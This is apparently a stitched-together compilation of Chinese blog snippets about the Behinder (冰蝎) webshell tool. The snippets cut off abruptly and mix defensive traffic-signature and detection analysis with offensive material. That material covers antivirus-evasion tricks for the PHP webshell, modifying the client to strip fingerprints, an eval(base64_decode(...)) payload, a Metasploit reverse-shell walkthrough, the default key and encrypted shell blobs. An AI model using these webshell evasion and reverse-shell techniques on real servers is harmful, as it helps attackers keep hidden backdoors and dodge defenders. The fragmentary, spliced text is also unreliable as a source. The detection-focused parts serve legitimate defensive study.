冰蝎3.0 Beta 2今天发布,和v2.1相比,最重要的变化就是“去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5("admin")[0:16];”。 ? 以php版本的shell为例,默认的秘钥为“e45e329feb5d925b”,通过md5("rebeyond")[0:16]得到,其中“rebeyond”是冰蝎3.0的默认密码。 ? ? 由于key是攻击者预置,无法像2.0版本那样通过返回包获取,所以对加密流量无法解密,需要定位到冰蝎webshell后门才能获得。 而冰蝎v3.0版本的webshell免杀也做了加强,webdir和d盾对冰蝎3.0自带的5个webshell后门的检出率都只有20%: ? ? 以RASP应用层检测方案为例,目前OpenRASP技术仍然可以很好的检测到冰蝎3.0的攻击行为,防守方可以尝试。 ? 祝大伙好运。
冰蝎2 冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。 冰蝎工具通信原理 冰蝎的通信过程可以分为两个阶段: 密钥协商 加密传输 1)第一阶段-密钥协商 a.php 攻击者通过GET方式请求服务器密钥; GET /hackable/uploads/shell.php 2默认Accept字段的值很特殊,而且每个阶段都一样 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 b.UA字段 冰蝎内置了十余种 c.Content-Length Content-Length: 16, 16就是冰蝎2连接的特征 冰蝎3 对比冰蝎2,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密钥获取 在这里我选择上传一个冰蝎马。 ? 然后在冰蝎连接,成功连接。 ? 内存shell 无日志,会在tomcat重启后消失。 ?
前言 这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备 工作流程 冰蝎准备一个经过加密的字节码,放入请求体中 服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果 将获取到的结果通过设置的密钥加密,返回给客户端 客户端通过密钥解密 由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b DigestUtils.md5DigestAsHex(key.getBytes()); return md5Key; } } 这里使用的jsp木马如下 我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件 } } 可以看见这里获取了环境变量以及jar系统信息 在这里也是同样的,处理返回的信息 这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中 总结 在看完了冰蝎是怎么连接之后 ,对于冰蝎的工作原理也有了一定的理解,本地和服务器端都做加密和解密的操作,以此来绕过流量检测设备以及一些waf,而且通过动态的加载class字节码,也可以绕过一些普通的webshell查杀设备,后续的一些绕过
注:本文以冰蝎v2.0.1版本PHP语言为阐述。 一、冰蝎-动态加密算法 (一) 冰蝎简介 冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。 图1-1 冰蝎webshell (二) 冰蝎工具通信原理 冰蝎的通信过程可以分为两个阶段: 密钥协商 加密传输 1. 图 1‑2 冰蝎执行流程图 Wireshark下抓取冰蝎(v2.0.1)数据包详情如下图1-3、1-4: ? ? 二、冰蝎特征检测 总结冰蝎在流量交互中的特征,这些特征可分为两类。 请求体UserAgent如图2-2 3. 长连接 冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。 \(\)\{\}][a-zA-Z\d]{2}” 三、冰蝎报文解密 (一) 解密思路 在服务器开启 PHP OpenSSL 扩展脚本的情况下,冰蝎密文采用对称加密算法AES加密,加密后还会进行 base64
冰蝎是一款很好用的webshell管理工具,流量加密和可高度自定义的各类木马使得它成为很多师傅们的心头爱,那么这期就来和大家探讨一下有关冰蝎php木马的静态免杀,目前设立的目标当然是尽可能多的过杀软的免杀嘛 ~(这里以冰蝎V4.1为例) 冰蝎php木马解读 <? 2.主体代码部分全部转utf8编码再进行解码 亲测有效,目前杀软和绝大部分云查杀平台对base64较敏感但对utf-8较为友好,还是可以尝试的。 测试连接 ①经典phpstudy上线 ②手动挂马(滑稽黑客) ③直接访问没有报错(下面的utf-8是我写在php<>之外的) ④冰蝎上线,ok,no趴笨! 上实战! 先放上一张冰蝎php原马在vt上的情况做对照: 免杀马查杀结果直接上截图: ①vt全过 ②360沙箱云(非专业版)未检测出 ③微步云沙箱,险胜! 开始骄傲 我觉得自己又行了 ④大圣云沙箱 Damn!
哈哈,有点标题党了,看到冰蝎更新到了4.0.6,修复了:asp内置传输协议问题;新增“默认”连接模式,兼容冰蝎3默认服务端,所以一起测试了下,可正常连接。 https://github.com/rebeyond/Behinder/releases 0x01 工具简介 冰蝎WebShell免杀生成工具作者:Tas9er@A.E.0.S Security Team 0x04 冰蝎4.0.6连接 下载地址 点击下方名片进入公众号 回复关键字【230117】获取下载链接
前言 时代在发展,大家用后门的姿势也在不断的变化,从菜刀,到蚁剑,再到如今的冰蝎,这也是攻防相互作用的结果,今天头发奇想,如何用python来实现流量的加密。 function __construct($p) {eval($p."");}} @new C($params); 这一部分也比较简单 先使用|拆解 然后执行第二部分的代码 以上三个方面就是对冰蝎服务端的分析了 : 获取密钥 获取代码 加密传输 代码构造 所以按照如上分析的三个步骤一步一步的展开: 获取密钥 直接在页面上就可以获取:类似这样 key = s.get(url).text 获取代码 还是想直接按照冰蝎的数据格式来构造代码毕竟人简单的处理了一下 ; $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; 于是给冰蝎上了代理,简单的抓了个包,将密钥和密文都抓了下来 使用php写了写解密的代码 |eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs=')); 想写什么操作的代码自行体会。
文章目录 前言 一、使用木马getshell 1.搭建环境 二、冰蝎配置 三、kali监听 总结 前言 好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据。 其中的坑还是不少的,希望这篇文章对初识冰蝎的表哥们有点用处。 一、使用木马getshell 冰蝎之所以强还是在于他的动态二进制加密。这里呢,在冰蝎下载的包中给出了官方的webshell。 后来看了一篇关于冰蝎反弹shell的文章。文章中介绍的是本地环境问题,将PHP的版本改到7.0以上就可以执行了。尝试无果。经过尝试发现冰蝎的脚本得使用对应版本的shell。 二、冰蝎配置 新建shell,点击保存 进入反弹shell配置界面 选择Meterpreter功能 根据冰蝎的温馨提示,使用kali进行监听就行了。 只不过这里的冰蝎代替了exe来执行。文中有几处不太坚定的答案。还希望好心的大佬给出确定的解答。初级工具使用,仅用于基础信息防御交流,请勿用于其他用途。
这其中最出名就是“冰蝎”,“冰蝎”是一款动态二进制加密网站管理客户端,演练中给防守方造成很大困扰,本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。 0x01 “冰蝎”介绍&加密原理 “冰蝎”项目地址:https://github.com/rebeyond/Behinder “冰蝎”目前最新版本为v2.1,兼容性已经日益完善,加密不再依赖PHP (2)按照kill-chain的模型,除了在webshell通信的时候进行检测,也可以在上传webshell时(即载荷投递阶段)进行检测,对冰蝎的webshell木马文件特征定制特定的检测规则。 而对于冰蝎v2.1的webshell,D盾、河马都完全没有检测出来,检出比为0。 ? 只有webdir+检测出了冰蝎v2.1的3个webshell文件,检出比为60%,可见冰蝎的免杀做得很不错。 (2)Linux audit日志检测 虽然冰蝎通讯流量是加密的,但落到主机侧,还是会调用系统命令,所以可以在主机审计日志层面定制检测规则,监控冰蝎对系统命令的调用。
phpshell 与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是,冰蝎3.0的AES密钥为连接密码32位md5值的前16位,默认连接密码rebeyond。 以下为冰蝎3.0webshell <? +lQRvE6uFmc8kOeUCln2vMnpN2GCx+jHdC5WW7PNd2eCurJxU2h5aqN4wstNq7yDskOQVsxI56r2+0+1jG8T3i9syHZzGAkQHP9TkSyTZ +xes8Hbood/UGSc2SX2LvNVw34PwfT34FsAlOjMCm6J3g2jn7kBn/sli7EmV5pD2miK+J9oWcjCgqFmNxmk9/sU+jzVcDe0a/ddOpZBRzr20Tv85luY2sQZ7gLpicMflrAOjnXLmTjRUsUdBD0e 总结: 遇到冰蝎3的时候不要过于慌张,这时候我们找到webshell 何时被部署、通过很么洞打进来的,找到webshell的存放位置,通过我们的全流量进行回溯,了解攻击者后续做了那些行为。
"; main($content); 冰蝎2的第一个AES加密请求为上述 第一个响应为 {"status":"c3VjY2Vzcw==","msg":"NjhhNGQ0NDctYWQ4MC00MWZlLTg2M2YtYjJlZmUwYjkxZmIx "} c3VjY2Vzcw== 为success NjhhNGQ0NDctYWQ4MC00MWZlLTg2M2YtYjJlZmUwYjkxZmIx 为68a4d447-ad80-41fe-863f-b2efe0b91fb1 /90wp7Og1Zkq8ZLna6sf0SlxXNDKRENyGD13aUe2gQOb2Q7b6HxwCU3gBx9ocU2WJ1FsdClH7j8z3KZPiwE6gBd4XC2I9dAYz07+JKWT7gWjl67exyrZeE /6UFXVaz/uUDcCUmD8h119s2KEDBAq6ciKQRbEpDIsPJwBNo8UD+GOwBSQwiwfSdSkr4qOSrc2IGcohxYp9pPeH92IFeOK9sgPAnIKLmeydZ9hsdMM1WY2iGFKCeT2ttHN1N +Ml1EBsuC61rDhEkk50z1evIAPxAtPuHxQpHKxaq4StjatbZkSc/giAUy5L5t2nXHnUw+sXuCURIo5xsdF5H2EzjdOJWTbwBBY2fHLSIsBTdzOVXNkW
项目介绍 ByPassBehinder / 冰蝎WebShell免杀生成 文件:ByPassBehinder.exe MD5 HASH:04caea5648786157fb65dd51d2bc061e
最近特殊时期开始的第一天(20200817),冰蝎的github项目就放出了加密Webshell管理的神器——冰蝎v3.0 Beta 1和2,给检测带来了更大的困难,普通的匹配字符串特征的检测已几乎不可能 这次最大的变化是去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密码的md5的前16位就是密钥 注:本文只针对当前的最新版冰蝎(Behinder) v3.0 Beta 2,并以PHP WebShell > 可以看到,相比冰蝎(Behinder) v2.0.1,去除了动态密钥协商机制,直接写死了key,一个16位的key,这个key是密码的md5得来的。 —— 冰蝎(Behinder) v2.0.1的分析可以参考: https://www.giantbranch.cn/2019/10/08/%E5%86%B0%E8%9D%8E%E5%8A%A8%E6%80% 的字符串,之后在main中组装成数组后转为json,再使用AES进行加密(没有openssl才使用异或加密) ,最后输出出来,这一步的目的应该是看看服务器的加密结果是否与加密结果一样,这样既可以检测是否是冰蝎
0X01 "冰蝎" 获取密钥过程 冰蝎执行流程 (图片来自红蓝对抗——加密Webshell“冰蝎”攻防) 冰蝎在连接webshell的时,会对webshell进行两次请求访问 为什么进行两次访问? 我在别的文章没有看到关于这个问题的答案,于是我去反编译冰蝎源码 通过对代码阅读,我发现冰蝎为了实现可以在webshell内添加任意内容 (比如gif89a子类的文件头或者其它标示字符) 冰蝎在初始化密钥时会对 正常的请求是不会携带Cookie属性的,这可是识别冰蝎流量最直接的一种办法 0X03 "冰蝎" 动态加载 冰蝎动态加载的原理就是每次都发送一个class字节码(其它语言也一样) 冰蝎通过asm动态修改 class字节码变量内容,实现携带参数动态执行,冰蝎在获取完密钥之后(2个请求),第三个请求就是获取BasicInfo(服务器的一些信息),冰蝎的BasicInfo功能并没有动态修改参数(一个获取服务器信息的能有啥参数 ),这会导致每次获取BasicInfo的数据包都是固定的大小 0X04 总结 Waf可以对一个ip连续访问2次的数据包进行截取,比对相同字符,比对之后,截取两次不同的数据,如果剩下的是16位的key,
WebShell的时候会有一些固定的特征,容易被waf或者IPS检测到,最近1年出来了个动态加密的WebShell管理工具,给检测带来了一定的困难,所以写个文章简单解剖一下 注:本文只针对当前的最新版冰蝎 (Behinder) v2.0.1,以php webshell为例,其他webshell只是有细微的差别,有兴趣可以自行研究 实验环境 客户端: windows 7 + 冰蝎(Behinder) v2.0.1 pass参数的情况(其实这个就是通常所说的一句话木马),就是通过截取随机数的md5的高16位作为密钥,保存在服务器的全局 $_SESSION变量中,同时打印出来,这样客户端接收到就可以用这个密钥进行通信了 2、 可以看到请求了两次密钥才开始真正的POST通信 接下来的通信,就是AES128加密后的base64密文 所以我们检测只能从请求密钥阶段入手了 通过获取密钥的数据包,我们发现以下特征 1、使用GET方法 2、 main($cmd); 可以看到考虑了编码问题,还有一些执行命令的函数被禁用的问题 最后输出结构也是AES128加密的 工具每次只需倒数第二行的$cmd即可更换要执行的命令 总结 攻防是不断对抗升级的,冰蝎虽然通信过程加密
1、反编译源码 使用在线反编译网站来反编译jar包 在线反编译网站地址:https://www.decompiler.com/ 2、配置IDEA环境 创建项目 添加解压的反编译源码 新建lib目录,添加从 github上下载的冰蝎项目 github项目地址:https://github.com/rebeyond/Behinder/releases 配置项目结构 添加Behinder.jar包 勾选点击应用 工件添加主类 选择第一个 配置完成 3、修改冰蝎流量的请求头 观察冰蝎流量特征 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language default_xor.config 新增协议 填入对应的加解密算法 保存成功 点击分享保存到项目中 重构项目生成jar包重新运行,点击生成服务端 选择对应的传输协议,测试连接 成功使用 同理配置了其他协议,重构项目,获得魔改后的冰蝎 5、总结 免杀思路有修改webshell代码,修改调用逻辑改变操作行为的方式、修改工具指纹,本文从修改请求头和替换传输协议的加解密算法两方面来魔改冰蝎。
Part2 思考3个问题 在进行冰蝎改造工作之前,首先思考3个问题,同时也借助这3个问题,分享几个迷惑管理员及蓝队分析人员的小技巧。 Part3 冰蝎逆向修改过程 下面开始讲讲正式的冰蝎改造过程,我把详细的代码截图都贴出来了,大家到时候照着改就行。 修正这个问题同样需要在Utils类中进行修改,然后把冰蝎中的User-Agent列表换成自己的,原版冰蝎中的User-Agent列表比较旧。 当然冰蝎3.0的包名已经没有这些特征了。 改造后的冰蝎几乎无特征可寻 Part4 总结 1. 随着流量监控设备的不断升级,很多团队都研发了属于自己的Webshell管理平台,然后小范围流传,很多红队人员也都自己魔改了一个冰蝎或者哥斯拉webshell管理工具。 2.
本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时在授权渗透中使用冰蝎马经验分析并总结特征。 ,使得冰蝎有了更大的发挥空间。 JSP冰蝎马,此处不作冰蝎马分析。 ? PHP冰蝎马 ? 通信流量分析 在本地搭建环境抓取冰蝎流量来进行简单的特征分析,主要测试冰蝎最初版本和最新版本,v1.0和v2.0.1,提取通信关键特征。 V1.0版本冰蝎连接 抓取到的通信流量如下: ? ? ? 从Wireshark中抓到的数据包中可以看出,冰蝎与传统的管理工具一样,操作请求均为POST。 V2.0.1版本冰蝎连接 ? 冰蝎v2.0.1连接成功,抓取到流量包如下: ? 我们通过查看POST数据包发现除上述提到冰蝎增加了随机的User-Agent和v1.0并无其它本质上的区别。 ?
冰蝎4.1下载: https://github.com/rebeyond/Behinder/releases 问题简述:8月24日 @rebeyond 师傅更新了冰蝎4.1,但很多师傅说这个版本在启动时会出现下图报错
17日刚分析出特征:冰蝎v3.0 Beta 2(Behinder_v3.0 Beta 2)Webshell分析与检测 19号就迅速更新了,下面是更新日志: ###2020.8.18 v3.0 Beta 3 更新日志 1.增加了端口映射功能的稳定性; 2.Java服务端支持Java6+; 3.修复了PHP版本连接不上的问题,PHP版本支持为PHP5.3~PHP7.4; 4.修复了aspx连接不上的问题 return openssl_encrypt($data, "AES128", $key); } }$content="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 $key); } }$whatever="7MgESJ8WA7onT3DlRntO54FQCVviYt5ed7j16Op1Tlda5mtXGgngNkfLWmf8JGkK5zNzMVABGM2tWlKglVg8aOlVkKxESfnEbN7M9u7mKK9hxIiJ0hoyOe1muWuCKdsGF4AnEqu2fC1rtXszlhW4uJeuQMulzXGOWNdxOJmzVv71VI4ZoWezGr2ci6gKAIEWBYcMKth8GqhE47mrQjHI59JoK53P6ckDwWHBDbRo6gXPHnxbGbyO3hwMWbr9MEEZ6OCntxJQClMgn8Sl